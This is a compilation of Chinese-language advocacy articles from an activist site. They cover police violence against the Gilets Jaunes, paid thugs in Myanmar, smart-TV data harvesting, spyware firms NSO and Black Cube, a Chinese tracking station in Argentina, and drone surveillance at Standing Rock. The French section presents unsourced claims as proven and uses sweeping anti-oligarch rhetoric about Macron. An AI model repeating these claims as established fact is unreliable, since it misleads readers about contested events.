随着 GJ 在游行的最后一站再次出发，向共和广场方向挺进，我注意到警察的大车已经靠近了，重型装甲的警员站在人行道两侧。他们保持着紧张，不准备与游行者或旁观者交谈。

就在抵达广场之前，遭受警方暴力事件的受害者被转移到一条小街上，因为有消息称，催泪瓦斯已经在距离不到**200**米的广场周边战备。大多数游行者告诉我，这是遵循先前游行的经验模式，因此优先考虑的是保护受伤者免受任何进一步的伤害。为了保护团结的象征，游行者已经围绕伤者站成一圈，用身体抵挡警方，让他们的队友安全离开。警察暴力的受害者在共和国广场前的一条小街上被安全带走

当我们走近广场时，催泪瓦斯向我们瞄准，准备刺痛我们的眼睛和喉咙。当时广场上的场景是示威者在游行后试图放松的场景之一。人们站在一起聊天，从摊位买咖啡和茶，或者只是四处走动。一个男人带着一朵黄玫瑰走过我身边。这绝对不是马克龙的部长盖拉德•达马宁（GéraldDarmanin）所描述的“法西斯瘟疫”中的“ pestes brunes” 的温床。

我一边走一边拍摄了抗议者。我担心会引起警察发射催泪瓦斯迫使人们被驱散。很明显，这是游行的结束时段，经过一段时间的反思和讨论，人们会开始回家。当我靠近广场的中心时，催泪瓦斯发射器越来越密集，很快就明白了，这是故意触动人群并将他们赶到主干道和小巷的企图，这些道路现在被维稳部队阻挡着。和平抗议的民众试图离开共和广场，但被警方阻截，*Acte XII*，*2019*年*2*月*2*日

我们试图离开广场，回到我们来的路上。到现在为止，这条街被至少被15辆警车挡住了。军事化的警察在街道两旁，穿着黑色的防弹衣，隐藏在遮挡板后面，挥舞着盾牌和武器。

我看着抗议者和平民都接近他们，要求被允许通过，以逃避在他们身后的广场上积聚的滚滚催泪瓦斯云。但警方拒绝了。我跟一位从遮阳板后面瞪着我的官员说话，我告诉他，他把平民生命置于危险境地。**“Peu importe**，”他回答说**; “**谁在乎！”

现在已经证明，法国正在对自己的人民使用更强大的攻击性气体。在一些城市，民兵或警察部队正在使用CM3气体而不是CM6。**CM3**的强度是**CM6**的**6**倍，可导致皮肤损伤，眼角膜受损，恶心增加**;** 还会烧伤脸部**;** 并且，在长时间暴露期间，损害可能是永久性的，并且慢性病的风险会增加**——** 而让人们长期暴露在这种气体中正是警察的策略。警方封锁共和广场的出口路线，将平民堵回催泪瓦斯弥漫的地区。*2019*年*2*月*2*日

紧张局势开始形成。示威者—— 其中许多是女性—— 变得非常痛苦。他们在之前的游行中经历过这种攻势，他们知道会发生什么。记者 Laurent Daure 向我解释道：

“警方的意图是迫使平民回到广场，让他们在那里遭受攻击，他们将喷射大量催泪瓦斯，然后当人群作出反应时，他们会加强攻击他们。当人群对此作出反应时，他们会用 *LBD* 或 *GLIF4* 手榴弹射击他们。这就是他们所做的。“

我看到一个游客，把他的轮式行李箱拉到身后，询问警察是否可以通过。该警察拒绝了。警方开始前进。我跟一个在我旁边占据位置的魁梧官员说话，我是记者，问他怎么能对自己的百姓这样做？他回答说“这对我们来说和对你一样糟糕”，并且坚持要求记者移到他声称开放的下一个出口点。人们反驳这些信息; 他们知道那里也被关闭了。突然，另一名军官抓住我的胳膊，开始把我推向广场。警方阵线迅速推进，平民面临着更大的危险和受伤风险。

以下视频显示了我所描述的事件：

接下来发生的事情是混乱。共和广场成了战场。我看到医务人员向警察尖叫着，让消防队为受伤的人提供担架，但没有人知道怎么做。我们可以看到来自另一条街道的警察大量奔来向人群冲击，挥舞着警棍。我们可以听到到处都是 **LBD40** 武器的射击和 **GLIF4** 手榴弹的爆炸声。催泪瓦斯还在从天而降，下雨一样。没有什么能让我为目睹的这般野蛮行为做好准备。在我身旁的一位女士告诉我：

“我一辈子都没想过会看到这种场面。我觉得好像在战争中。在许多游行中，妇女们被迫在广场上待上几个小时，即使她们需要上厕所，警察也不允许她们离开。她们被迫公开上厕所。她们就这样受到羞辱！“

以下视频显示警方对人群的暴力行为; 一名记者被扔到了地上：

以下视频显示警察和安全部队疯狂扫射那些由于催泪瓦斯吸入而变得虚弱的人群：

在袭击期间，至少有一名平民被近距离射击的 LBD40 子弹击中，他“被瞄准了头部”。当警察强迫趴在地上时，他正在流血。当警察将他的双手绑在背后时，血迹在人行道上涂了一片。

急于照顾他的医生问他是否可以联系任何家庭成员。后来的一段视频显示了这名男子，他的脸上满是血腥，双手仍被捆绑着，被扔进一辆警车。他被捕了; 据我所知，尽管他的下巴断裂，但他并没有机会住院治疗。

以下视频介绍了对这名手无寸铁的平民的袭击：

在这些抗议期间，没有人可以免于警察暴力。陷入混乱的记者、医务人员、旁观者和平民，都在身体和心理上也受到严重创伤。星期六，从一开始就报道游行的记者 Stephanie Roy 被一枚 GLIF4 手榴弹击中了腿部，视频：

另一位 GJ 参与者告诉我，警方此前曾将人们困在一个地区超过两个小时。他们终于打开了一条小街，允许人们离开，但是要在他们搜查行李或进行身体搜查之后。如果发现任何被认为“可疑”的东西，人们就有可能被拘留或最终被罚款。“我们处于战争状态，”他告诉我。“我们不能屈服于这种镇压！我们是公民，他们 [国家] 知道这一点。“在*2019*年*2*月*2*日的*Acte XII*期间，抗议者带着一条横幅，要求释放 *Gilets Jaunes*

2月5日，法国国会议员投票决定通过了压制性的 Loi anti-Casseurs（反抢劫法）。来自 GJ 及其支持者的社交媒体反应迅速，谴责这是对他们的宪法权利的另一次攻击，抗议不公正。该法律得到了内政部长卡斯塔纳和他的 Macroniste 助手的全力支持。议会中只有少数人认为新法律对公民自由构成威胁，他们不足以扭转局势。

法律将以打击 Black Bloc 或 Casseurs 为借口，有效地增加警察在法国的镇压权，而即使是 Castaner 也承认，这些煽动者只占极少数，在全国范围内不到300人。而该法律将在抗议期间制裁一切行李、车辆和人。如果 Prefets 认为他们“对公共秩序构成威胁”，他们将有权禁止目标抗议者长达一个月。

被禁止的抗议者将被列为通缉犯。那些在抗议期间遮住脸的人，包括戴着防毒面具的人，可能会被判入狱一年！并被罚款**15,000**欧元（**17,000**美元）！上面写着“在Vichy之下屈服于马克龙的寡头集团”

Emmanuel Macron 由新自由主义者和资本主义精英选举产生，以保护和扩大他们在全球的利益。马克龙没有代表他的大多数人民，他被控制在保护银行业务及其利益的位置。马克龙的泡沫破灭了异议之剑。

马克龙的政治优势得到了寡头们的支持，他们的权力基础现在他被授权不惜一切代价进行辩护。2008年，马克龙加入了罗斯柴尔德投资银行（RIB），在那里，他因成功协助大企业兼并和收购而获得了“金融莫扎特”的绰号。在 RIB 任职期间，马克龙获得了一笔不小的财富，这可能有助于他对统治阶级的忠诚; 当然，那段时间也教会了他如何

建立一个有影响力和紧密结合的人脉网络，这将进一步实现他自己的“国王”野心。法国作家 Francois-Xavier Bourmand 最近发表了令人震惊的大型调查—— 帮助马克龙迅速崛起为总统的商业巨头—— 标题是“希望成为国王的银行家伊曼纽尔马克龙”。

马克龙的外交政策只不过是对资源匮乏的全球主义掠夺、对资源丰富的国家如叙利亚的延伸—— 而现在委内瑞拉正处于马克龙的新自由主义十字路口。即使在法国公民抗议的同时，马克龙仍在支持那些委内瑞拉美国军事和经济冒险主义的扭曲叙事。

Gilets Jaunes 已经揭露了 Macron 的真实面目：全球舞台上的权力工具，不允许偏离他的马基雅维利路线图。在马克龙的统治下，法国正迅速陷入富豪统治和极权主义。

遍地都是事实可以证明国家的等级制度与人民脱节，而不是一种不屑一顾、空洞的团结声明，同时维持惩罚、剥夺自由、平等和博爱原则的公民政策。与此同时，马克龙批评 GJ 拒绝选举领导人或进入身份政治剧场，他声称 GJ “被4万至5万名希望破坏机构的武装分子渗透”—— 这种荒谬的声称没有任何证据。正如记者 Laurent Daure 告诉我的那样：

“马克龙兜售每一个阴谋论都会诋毁 ***GJ*** 运动—从俄罗斯支持他们、到伪造伤害。他利用他控制的媒体制造混乱和虚假信息，以分散他的人气急剧下降的事实。“

GJ 的一个要求已经触及了全球主义运动的核心：全民投票或直接民主。需要指定大量签署方来确定就具体问题召开公民投票的权利。正如作家 Diana Johnstone 所指出的那样，“在瑞士、意大利和加利福尼亚都存在 CIR（公民发起的全民投票）的权利。”这项提案有可能从那些垄断者手中夺回权力。那些精英只为自己的利益而不是“小人物”的利益服务。人民的成功将使新自由主义者发抖。

GJ 运动踢了 Macron 的黄蜂窝，我们目睹的是权力和暴政对自己的人民的转变—— “小人物”对抗统治精英中的巨人、富人，那些人的军事冒险主义导致伊拉克、也门、叙利亚、利比亚、中非的数百万“小人物”的死亡，现在正在威胁委内瑞拉。

“我们不会跪下，我们不会害怕报复，我们会一直抗议直到最后！”星期六一名 **GJ** 对我说，警察撕裂了人群，将人们砸到地上并践踏他们的身体。

下面照片中的标志为：

“停止暴力。***Macron*** 和 ***Castaner*** 应该感到羞耻，你们为钱做了什么？民主是一场公民投票。你伤害、践踏、羞辱、诋毁人民。人民对政府感到羞耻。“

作者 Vanessa Beeley 是 21st Century Wire 的独立记者，和平活动家，摄影师和副主编。Vanessa 入围了最富盛名的新闻奖之一 ○

Macron Tactics Against Yellow Vests Have Nothing to Do with Public Safety, Everything to Do with Global Politics. “We will not kneel, we will not fear reprisals, we will keep protesting until the end,” said one Gilet Jaune protester to me on Saturday as the police tore into the crowd, scything people to the ground and trampling them underfoot.

原文

用群众维稳群众：殴打抗议者是一个赚快钱的捷径... - iyouport

维稳面面观

一个反抗的国家，仍然被剥夺了正义

军队正在诱使并支付村民和退役军人去殴打反政变的抗议者，用群众维稳群众。这是一个讽刺，对那些直接控制着数十亿美元非法和合法资产的有钱的煽动者们来说。

如果您错过了《流行文化如何帮助解释缅甸的政变》

以下是一位关系良好的 Maqshosh 联系人的解释（出于显而易见的原因，他不愿意透露身份），关于所谓的 “反抗议者” 的情况：”这些人是受雇的暴徒。在某些情况下，他们是村民，他们不知道自己被雇佣来做什么。他们只是被告知要去参加舞蹈排练或宗教仪式，到了城里才被告知他们真正要做什么。在一个案例中，当他们发现自己被忽悠来这里的真实目的时，有些人非常尴尬，开始哭泣。

“有一个人掉了他的账本，里面有一份物品和奖励的清单。上面说，如果他们使用攻击抗议者刀子，可以得到20,000缅元（15美元），使用弹弓可以得到10,000缅元，向抗议者扔石头的人如果是男性可以得到7,000缅元，如果是女性可以得到6,000。”

这位联系人解释了他所在的镇子里的市民是如何发现许多参与镇压的 ‘警察’ 实际上是军队的：“我的朋友经营一家诊所。一个穿警察制服的人带着伤进来，但当他被要求脱鞋时，他拒绝了。这里的每个人都知道，这是缅军的一件怪事：他们有一个规定，任何士兵都不允许以这种方式脱鞋。很明显他是谁，他和我的朋友都知道这点。”

关于缅军最突出的一点是，他们的责任感为零。当军队在2011年交出权力时，他们并没有真正交出权力。那一直都是一个假象。昂山素季的全国民主联盟党在选举中获胜，但是无法改变宪法，这使得军队能够继续控制关键的国家机构，而这些机构通常是任何权力至上的煽动者的最直接目标：内政部、外交部和国防部。

有了这些，你就可以自由地把军队作为一个巨大的现金生产机器。它可以凌驾于任何人的意志之上，而且无法控制。他们的罪恶用道德和人文主义的幌子包裹着。“这是一棵树？一个女人？一个濒临灭绝的动物？一个孩子？一块属于别人的土地？卖掉它。杀死任何反对的人。那是什么？挡住天然气管道的村民？好吧，不要只是站在那里，奴役他们，夷平他们的村庄，并利用他们为管道的其余部分清理丛林！穆斯林？杀了他们。如果可以的话，把他们都杀了”。

2011年达成的协议是桌面上唯一的协议，所有人都知道这一点，但这实际上是民盟的一张医院通行证，民盟被猖獗的国家资产掠夺搞得举步维艰，而缅军当时已经垄断了这些资产。他们控制着军火贸易、石油和天然气工业、伐木业、玉石和宝石开采，以及其他许多方面。缅军在过去是如此失控，以至于他们从朝鲜的伙伴那里运来了导弹和核技术。他们强奸自己的公民，奴役老百姓，用机枪扫射村民，把整个社区烧成废墟。

缅军，以及他们的随行人员、肥大的SUV和令人作呕的婚礼蛋糕屋，都是无可救药的、坚持不懈的邪恶。他们在任何情况下都不是正义的力量。他们收获金钱，同时播下死亡、破坏、羞辱、种族灭绝、滥杀无辜的暴力。

他们继续赚取数十亿美元的非法资金，通过他们在新加坡的朋友（也是朝鲜人的一个关键跳板）进行洗钱和再投资，他们如此富有，以至于国内的乐趣对他们来说已经不够高档，他们需要在该地区以外的目的地寻求刺激，因为他们有能力乘坐包机前往那里。

因此，如果你想寻找证据，证明拥有一支不受政治控制的军队并因此完全不受惩罚是一件好事，那么你在缅甸是找不到的。

这方面有一个非常好的论据。如果允许缅军在这种不公正的情况下逍遥法外，不受惩罚，我们对一个公平的世界还能有什么希望？这是暴徒寡头政治的胜利。如果他们得逞，我们都将再次成为农奴。他们的统治是一种表面上的暴行，是“正义之心”的冰锥。

不要被媒体上“支持政变”的抗议者的形象所迷惑。没有人支持政变。不过，军队的退休人员和贫困的村民是缅军足够可靠的人力来源。他们是可以接受的。对于那些没有其他办法养活受Covid影响的服装厂里被裁员的妻子的男人们来说，敲碎几个反政变抗议者的脑袋以换取军政府奖励的现金是很容易的事。军队从不拒绝角色扮演，他们正穿上警察制服并参与行动。他们已经准备好了去做中国说的任何事。〇

MYANMAR UPDATE

原文

电视机的阴谋 - iYouPort

你应该了解的现实你的反乌托邦在线生活阴云密布维稳面面观

如果你最近正在购买电视机，你会发现，你根本买不到其中没有安装所谓的”智能”东西的电视机。为什么会这样？因为这是一个巨大的骗局⚠现在连业内自己都承认了！

如果你最近正在购买电视机，你会发现，你根本买不到其中没有安装所谓的“智能”东西的电视机。大多数电视厂商都不想向你推销一套简单的设备，因为他们希望你使用他们的流媒体服务。更具体地说：他们希望您购买具有特定流媒体功能的套装，因为他们想要监视你！

对于大多数人来说，这一直是相当明显的，但依旧很高兴看到 Vizio 首席技术官 Bill Baxter 承认了这一骗局：您能享受折扣的原因是由于您的收视习惯正在被收集并出售给出价最高的人：

问：我在评论和 *Twitter* 上听到的一种 *Verge-nerd meme* 是这样的：“我只想要一部愚蠢的电视。我只想要一个没有智能的面板，我会自己解决这个问题。“ 但是你显然不希望卖这样的电视机？

答：嗯，说实话是这样。我们会在零售时收集更多的数据增加利润以抵消折扣损失。同样，我们的电视业务本身利润率不高可能是一个理想的目标，因为我可以在下游弥补它。另一方面，我们实际上正在将大量用户货币化地聚合在一起，虽然其中一些用户选择退出。

这是一个混合收入模式，最终，*Vizio* 会成功，但你知道它并不完全依赖于数据收集等东西。

问题在于，这种权衡并不能真正为最终用户提供价值，这在很大程度上要归功于电视行业糟糕的安全和隐私实践。首先，电视行业历史上可怕的图形用户界面导航造成实际查找并选择退出此数据收集的过程通常是一场噩梦。

通常选择退出的功能被有意识地命名为模糊不清的东西，然后深埋在设计极为精美的菜单中。即便如此，即便您有幸找到了那个逃命的出

口，但选择退出通常也会导致您无法访问实际使用的某些核心功能。如果你喜欢被折腾到不胜其烦，那么这大概能一个很好的协议。

然后就是这样一个事实，即 电视部门经常在保护这些数据所需的安全和隐私实践方面做得非常糟糕。

我们已经看到，像三星这样的供应商陷入困境后，开始收集你家客厅的对话，然后将这些数据卖给各种各样的第三方。许多设备供应商同样收集这些数据，然后将其传输到云，而且没有足够的加密。 **Vizio** 本身刚刚"与 FTC 签订"了一项价值**220**万美元的和解协议，用于秘密跟踪和销售约**1600**万 **Vizio** 车主的使用习惯，为期约三年。

- 另外详见：《中国政府监视公民一举一动，公民无动于衷》
- 《小心你的汽车变成间谍：如何从联网汽车中删除个人隐私数据？》

所以，是的，你可能会为更便宜的套装省下一点点钱，但是，你要以一种甚至无法算清具体金额的大账单支付交易的另一面。高端电视机供应商也在做同样的事，因为没人不喜欢钱。

事实上，同样无视隐私和安全的因素已经在电视业务中骄傲普及了，从而导致的硬件很容易被所有恶意者充分利用—从工厂黑客到所谓的智能服务。你卖掉了自己安危，只是省下了一点点钱。这真的很划算吗？

有这么多的流媒体硬件平台可供选择（游戏机，手机，家用电脑，Roku，Apple TV 等），许多用户只是想要一台带有足够 HDMI 端口的普通电视。相反，像许多部门一样，窃取私密数据才是优先事项，而安全性、人权和透明度只是一个非常遥远的事后想法。

Vizio Admits Modern TV Sets Are Cheaper Because They’re Spying On You. The reason you pay a discount is because your viewing habits are being collected and sold to the highest bidder

原文

监视技术公司实际上 *受益于* 其人权丑闻的曝光 - iyouport

公私监控伙伴关系政府的间谍行为维稳面面观

【2020年8月12日存档】曝光并没有伤害这些间谍技术公司的利润，正相反，促进了其利润，让他们名声大噪 …… 这其间哪里出了问题？

有关以色列监视技术公司被强权雇用以迫使持不同政见者保存沉默的最新报道涉及沙特。如今臭名昭著的 Pegasus 间谍软件的发明者NSO被沙特雇用来入侵包括 Jamal Khashoggi 在内的著名批评家的手机。

沙特依靠一家以色列科技公司来监视它认为有威胁的任何东西，这不足为奇。如今，整个中东国家都依赖NSO集团等以色列间谍公司来确保其自身权力的稳固，这反映了以色列与这些专制国家之间不断发展的维稳伙伴关系。

全世界的政权都很喜欢雇用的另一家以色列公司是 Black Cube，其服务和产品包括通过挖掘目标人过去曾经发生过的阴暗面（软肋）而对目标人施加威胁以令其保持沉默。

随着以色列公司监视技术的发展，它对于那些希望监视所有异议和反对派日常活动的政府非常有用：记者、激进主义者、博客作者、艺术家 —— 他们成为攻击的主要目标，他们的手机被入侵，他们的所有私密谈话被记录，他们的所有动作每时每刻都在被观察。

- 更多报告和案例参见：列表1- “政府的间谍行为”；以及 列表-5 “维稳面面观”

但是，正在形成一种更加严重的威胁性趋势。不仅是监视技术公司和国家政府的勾结以增强政府的权力，还在于，对这些危险关系的揭露似乎并没有阻止这些邪恶做法的发展。

确实，这些丑闻被曝光的结果更像是所涉及的监视公司的促销材料 ……

- 为什么透明度革命的警告没有改变灾难的现状？《6年，改变了什么？》
- 如何才能实现改变《超越透明度革命》

NSO的 Pegasus

公民实验室透露，以色列监视技术公司 NSO Group 已被沙特聘请，以在针对 Jamal Khashoggi 于10月被谋杀的计划之前追踪和监视他。

这一重磅炸弹报告发出后，一些沙特持不同政见者发现他们自己的手机也被NSO集团的 Pegasus 间谍软件所感染。

位于伦敦的著名的沙特激进主义者 Yahya Assiri 和 YouTube 喜剧讽刺作家 Ghanem Almasarir 都成为该间谍软件的攻击目标；居住在蒙特利尔的沙特异议人士 Omar Abdulaziz 告诉 Vice，他也遭到了黑客攻击。

- 详细报告参见 列表- 4 “以色列和NSO”

Pegasus 允许监视者仅知道手机的SIM卡号码就可以实现入侵，从而为黑客提供了手机上的各种私密信息，包括文本、通话、WhatsApp 消息、照片、电子邮件、联系人和其他数据。它还使黑客能够利用麦克风窃听电话、并通过摄像头随时监视。

根据 Haaretz 对 NSO 集团与沙特的交易的调查，沙特情报部门前负责人 Turki al-Faisal 的同伙 Abdullah al-Malihi 和本萨勒曼的亲信 Nasser al-Qahtani 与NSO代表会面，并同意以高达**2.08**亿美元的价格印进 **Pegasus** 间谍软件。

沙特并不是唯一的客户。 Citizen Lab 的报告查找了 Pegasus 间谍软件使用的证据，结果发现，在几十个国家中，都有间接证据表明国家政府或实体购买了这种用于监视目的的间谍软件。

- 具体内容参见 列表-5 “长读报告”

根据该报告，“至少有六个国家使用该间谍软件针对民间社会进行监视和迫害，包括巴林、哈萨克斯坦、墨西、摩洛哥、沙特、和阿联酋。”

NSO说，在墨西哥，政府正在使用其间谍软件来打击那里的毒贩。然而，事实上，它仅被用来监视和骚扰批评政府的新闻记者。

著名的举报人 Edward Snowden 称 NSO “是在出售这些目前被广泛用于侵犯人权目的的监视工具的公司中最坏的一个”。

Black Cube

另一家以色列监视公司 Black Cube 一直深陷于支持政权的活动，甚至被好莱坞大亨和涉嫌性侵犯者 Harvey Weinstein 雇用。

Black Cube 受雇为针对美国前总统巴拉克·奥巴马（Barack Obama）核协议的支持者的抹黑运动；伊朗裔美国人全国理事会主席 Trita Parsi 就是受害者之一，Black Cube 试图通过抹黑他的个人和职业历史从而令其声名狼藉。

- 《人格暗杀和抹黑运动》

Parsi 在接受采访时表示，他不确定谁雇用了 Black Cube，但他和调查人员被告知，Black Cube 代表特朗普政府的利益。

后来，黑立方又卷入另一场类似的丑闻中，当时，黑立方正参与一项抹黑运动，针对的是反对维克多·奥尔班统治匈牙利的个人和非政府组织。

Black Cube 还被 Harvey Weinstein 聘用，以压制那些指责他性侵犯的人。再次，它试图挖掘目标的个人和专业历史中的阴暗面，以抹黑他们的主张。

作为一系列个案研究，他们描绘了各国越来越依赖私营公司竞标进行这些秘密间谍活动，这为民主和透明度带来了一系列难题。

- 这一问题非常具有普遍性，具体分析详见 列表-2 “公私监控伙伴关系”

但是，它们实际上提出了另一个更深刻的问题：揭露这些间谍公司对持不同政见者的监视活动对国家和监视技术公司来说本应该是一个问题，但事实上，并非如此。

更深层次的问题

一旦曝光了一个国家雇用了一家科技公司来监视本国人民或异见人士，他们似乎有可能不得不终止该计划，切断其业务关系并对此事进行某种调查。

就其本身而言，随着投资者和客户避开与压迫相关的这些公司，这些公司应不得不放弃其计划，理论上曝光应该带来对其收入的巨大冲击。

但是，很遗憾，上述只是理论上而已。现实完全相反。

现实是，这些揭露似乎正在 **帮助** 各国政府和各个间谍公司。这些丑闻对于这些间谍公司来说只是免费广告而已：它们显示了该公司的技术有多强大，而那些希望让批评者保持沉默的国家政权都可以雇用他们。

就在 纽约时报报道墨西哥政府使用该间谍技术监视持不同政见者和记者的行为之后，沙特于2017年聘用了NSO集团。对于沙特政府来说，他们与墨西哥有着 “同类的敌人”。

纽约时报对 **Pegasus** 的调查很可能只是这种侵入式间谍技术的多页广告而已。

阿联酋的臭名昭著的 DarkMatter 在2016年被发现在该国内部运营着一个大规模的侵入式监视国家，这涉及到 “进攻性黑客” 和广泛的窃听活动，这要归功于与政府达成的有利可图的交易。

- 关于 **DarkMatter**，见《美国黑客团队和阿联酋间谍合作计划攻击报道斯诺登文件的媒体机构 TheIntercept》
- 《雄厚的财力，深藏不露：美国间谍如何协助专制国家构建一个间谍帝国》
- 《一个新的战争时代：互联网雇佣军如何为威权政府而战》
- 《一个受欢迎的聊天应用程序实际上是一个隐秘的间谍工具》
- 《网络战雇佣兵团体不应该在您的浏览器或其他任何地方受信任》

在揭露事件发生两年后的**2018**年，**DarkMatter** 的利润以及与阿联酋的交易都在飙升。从**2017**年到**2018**年，**DarkMatter** 的收入翻了一番，达到**4**亿美元。

这不是特例。尽管存在无数争议，Black Cube 的业务和客户数量也仍在继续增长。 NSO集团报告称，其2015年收入约为1.5亿美元。现在，收入已远远超过10亿美元。

这并不是那些不断卷入丑闻的间谍公司的预期增长，这些丑闻与旨在大规模侵犯民权和隐私权的开发系统有关。但是它已经达到这个数字

了。

这些公司通常被形容为充满秘密和不透明的“隐晦”组织，但是经过如此多的调查之后，我们实际上对他们的工作以及与谁签约能够有很好的了解。

他们应提供大量资金的国家的要求，制造并部署侵入性监视技术，以镇压一切持不同政见者。

其他例子也正在出现。

Al Bawaba 记录了中国科技公司 CloudWalk 参与拘留和监视数百万维吾尔族和哈萨克族穆斯林的情况。

- 《中国的反乌托邦监视国家是美国制造的中国的反乌托邦监视国家是美国制造的》
- 关于 CloudWalk 《中国面部识别巨人崛起的背后》
- 《威廉·巴尔和小熊维尼：中美的老大哥本性相差无几》
- 维族穆斯林的遭遇《维族妇女对战中国的监视国家》

华为国家支持的监视技术发展以及 CloudWalk 面部识别技术的缓慢完善都在帮助中国打击少数民族。

- 《西方如何养肥了华为又”成就了”种族灭绝监视综合体？》

两家公司现在都在积极将他们在新疆制造的技术出口到其他国家：华为到德国，Cloudwalk 到津巴布韦。

- 华为在德国《华为如何把德国城市变成圆形监狱》
- 津巴布韦《中国向60多个国家出口AI监控技术》
- 《”整个系统旨在压制我们”：中国监视国家对世界意味着什么》

另一家中国公司中兴通讯（ZTE）正在向委内瑞拉出口中国社会信用评分体系的技术，该监视系统将其公民基于政府所认为的忠诚度进行评分。

关于社会信用评分：

- 《又一个被漠视的深渊》
- 《胡萝卜：中国当局大举奖励最顺从的公民》
- 《监视操纵社会：中国尝试通过社会信用系统改变社会行为》

- 《“深夜上网”都会降低你的“社会信用评分”？无人能摆脱这种强制性监视》
- 《“社会信用”监视：英国、中国、美国和日本》
- 《中国推出”超级监控摄像机”辅助社会信用评分》

据报道，委内瑞拉计划使用中兴通讯制造的技术来跟踪公民的购买，并将其忠诚度与他们是否能获得重要的社会福利联系起来。

- 津巴布韦也不是特例，另外见：《阿根廷不只有足球，还有中国的中兴通讯》

自从这些公司成为压迫性权力的服务商以来，不仅没有任何改变，而且，揭露曝光似乎还在为他们的知名度和利润提供明显的福利。

简而言之，曝光实际上是帮助了他们。

那么值得思考的是：这其间究竟出了什么问题？〇

Beyond Pegasus: Israeli Tech Firms Are Actually Being Helped By Their Surveillance Scandals

原文

秘密空间站 - iYouPort

你应该了解的现实你的反乌托邦在线生活阴云密布维稳面面观

为什么会有一个中国军事空间站藏在阿根廷？这东西究竟干什么用的、能让中国获得什么样的优势？

五角大楼高级官员越来越担心中国军方可以在阿根廷拉斯拉哈斯的一个秘密跟踪设施中监视和瞄准美国的卫星。

2月的国会作证时，美国南方司令部新指挥官海军上将 Craig Faller 就警告说中国将迅速扩张到南美洲。

Faller 告诉国会议员，中国积极支持古巴、尼加拉瓜和委内瑞拉的专制政府，并在整个非洲大陆采用掠夺性贷款做法。他说，北京在开发基础设施方面发挥了重要作用，例如位于巴塔哥尼亚沙漠的秘密天线。

自该设施启动以来，美国情报官员一直在跟踪该设施的发展。

在过去的几年里，位于该国西部200公顷的巴塔哥尼亚北建造了一个巨大的16层天线。

专家说，一个8英尺高的安全围栏围绕着空间站，在阿根廷官员的有限监督下运作。

安全世界基金会的空间政策和安全分析师 Brian Weeden 表示，美国军方部署的天线类似于阿根廷的这个天线。

然而，美国军方官员担心该天线可用于收集有关美国间谍卫星位置和活动的敏感信息。

Faller 说：北京可能违反了与阿根廷的协议条款，该条款规定其只能进行民事活动，并且可能有能力监视并可能针对美国、盟国和伙伴太空活动。他此前一直在五角大楼担任前国防部长 James Mattis 的军事助理。

专家指出，北京声称仅将该设施用于和平目的可能具有欺骗性，因为中国国家航天局（目前经营该设施）与人民解放军关系密切。

Frank Rose 于2014年至2017年担任美国负责军备控制的助理国务卿，目前是布鲁金斯学会的高级研究员，他表示该天线的定位为中国提供了西半球的重要太空覆盖，“这是一个覆盖某些轨道的问题。就如美国在全球拥有卫星跟踪站是有原因的 — 它可以提供全球覆盖，“他说。

Evan Ellis 美国陆军战争学院战略研究所拉丁美洲研究讲师表示，天线的主要目的可能是用于太空研究。该设施的特点“与中国人所说的一致”，他说，并指出巴塔哥尼亚沙漠中的位置“确实有一定意义”，因为科学家们需要位于世界各地的天线进行外层空间观测。

Ellis 表示，该设施有可能用于收集偶尔通过头顶的商用和军用卫星的敏感数据。

由于缺乏对巴塔哥尼亚秘密空间站设施的开放性，中国人在西半球的确切行为尚属猜测。

S enior Pentagon officials are becoming increasingly concerned that the Chinese military can monitor and target US satellites from a secret deep-space tracking facility in Las Lajas, Argentina .

原文

空中监视如何追踪抗议者？ - iyouport

维稳面面观

【2019年12月24日存档】针对抗议活动的无人机使用并非只有监控一种，更有，携带武器的无人机镇压正在全球很多国家流行，而监视是一切镇压手段的基础—只有在维稳部队深刻了解抗议者的行动模式后，才可以采取非常准确的打击。

Unicorn Riot 团体获得了超过100个小时的红外监控录像，这些录像是警察侦察机在2016年公民社会组织 Standing Rock抵制达科他州输油管道的抗议活动中的监控录像。

⚠执法机构使用无人机、飞机和直升机来监视抗议者，并跟踪任何车辆的行驶路径。看到视频：

几个月来，北达科他州公路巡逻队每天都在抗议者的营地进行监视飞行，并使用前视红外（**FLIR**）摄像机收集实时的地理空间情报（**GEOINT**）。

这些热成像仪可感应热源发出的红外辐射，⚠从而使维稳部队即便在夜间也能精准监控地面活动。

在这里看到：《如何防止被无人机监控？（热成像监控的抵制方法）》

> “我们确实是在打仗。” —— 卡斯县警长 Paul Laney
> 在国家警长协会网络研讨会上说，2017年5月7日（

操作红外监视摄像头的警察经常会在人们不知情的情况下跟踪目标人的活动，这些无人机可以在漆黑的夜色中盘旋，监控地面数百英尺的范围。

在其他时候，侦察机被用来追踪抗议者的动向及其车辆。

在多种情况下，⚠这种空中监视导致警察在拔枪的情况下将目标车辆拖到路边。

Standing Rock 反抗组织的任何人都可能会记得各种各样的飞机，这些飞机经常在头顶盘旋。

甚至在美国联邦航空局（FAA）颁布的“禁飞区”内，每一个白天到深夜，这些飞机、直升机和无人机，每时每刻都在盘旋。

在抗议活动进行过程中的许多个晚上，都能观察到一架飞机绕着抗议者的营地盘旋数小时，而没有任何防撞安全灯亮着。

在地面上的抗议者迅速将其车辆的灯光射向天空，以寻找飞机，来自各个方向的光束照亮了天空。当飞机继续盘旋时，可能偶尔会看到光线从飞机的白色机身底部反射回来。

有时，抗议者会开始听到无人机在头顶潜伏的嗡嗡声，附近的每个人都会猜测那是否是警察的飞机。

根据 Unicorn Riot 组织获得的文件，大福克斯郡治安官已经部署了无人机来监视 #NoDAPL 抗议活动。这些无人机还配备红外监控摄像机。

> “没有第三次世界大战，我们就无法进入*[*那些抗议者的*]*营地。*”* —— 卡斯县警长 *Paul Laney*，国家警长协会网络研讨会，*2017*年*5*月*7*日（来源）

根据从联邦航空局收到的文件，大福克斯县警长在**D**、**E**和**G**级空域中使用了 **QUBE**、**Draganflyer X4-ES**、**X6** 和 **Phantom 4** 无人机系统（**UAS**）。*[The documents also state that emergency law enforcement airspace requests would be coordinated through the Grand Forks AFB RAPCON, aka Air Force Base Radar Approach Control.]*

当 Unicorn Riot 组织的记者要求大福克斯治安官提供视频录像时，他们拿出了一小部分带注释的图像和一些短视频。

这些数据显示是在无人机侦察飞行过程中捕获的，这表明警察正在收集抗议者营地、路障和管道施工现场的**GPS**位置。*[Image take by the Grand Forks Sheriff's Department during drone reconnaissance flight over Highway 1806 bridge.]*

⚠自从警察部门开始将其维稳设备军事化以来，在过去的几十年中，

在全国范围内警察行动中，对IR监视技术的使用已经变得越来越普遍。

